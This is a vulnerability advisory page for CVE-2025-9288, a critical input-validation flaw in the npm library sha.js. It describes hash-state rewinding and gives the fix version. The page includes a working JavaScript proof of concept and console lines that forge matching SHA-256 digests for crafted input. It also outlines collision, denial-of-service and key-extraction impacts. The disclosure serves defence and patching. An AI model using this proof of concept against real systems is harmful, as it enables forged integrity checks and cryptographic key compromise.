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CVE-2025-9288 — Vulnerability in sha.js — CVE Details

CRITICAL

sha.js is missing type checks leading to hash rewind and passing on crafted data

Published August 21, 2025Updated September 10, 2026Source: osv

Summary

### Summary This is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation. Missing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour. ### Details See PoC ### PoC ```js const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]]) const sha = require('sha.js') const { randomBytes } = require('crypto') const sha256 = (...messages) => { const hash = sha('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') } const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0]) ``` Output: ``` 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 Hashed input means safe ``` Or just: ```console > require('sha.js')('sha256').update('foo').digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' > require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' ``` ### Impact 1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }` This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js) 4. DoS on `{length:'1e99'}` 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)

Advisory Timeline

  • First published August 21, 2025 (417 days ago).
  • Last revised September 10, 2026 — 385 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update sha.js to 2.4.12 or later
npm install sha.js@2.4.12

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
sha.js
npm
All versions2.4.12

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-20
    Improper Input ValidationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Frequently Asked Questions

What is CVE-2025-9288?
sha.js is missing type checks leading to hash rewind and passing on crafted data This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2025-9288?
CVE-2025-9288 affects sha.js. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-9288 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-95m3-7q98-8xr5

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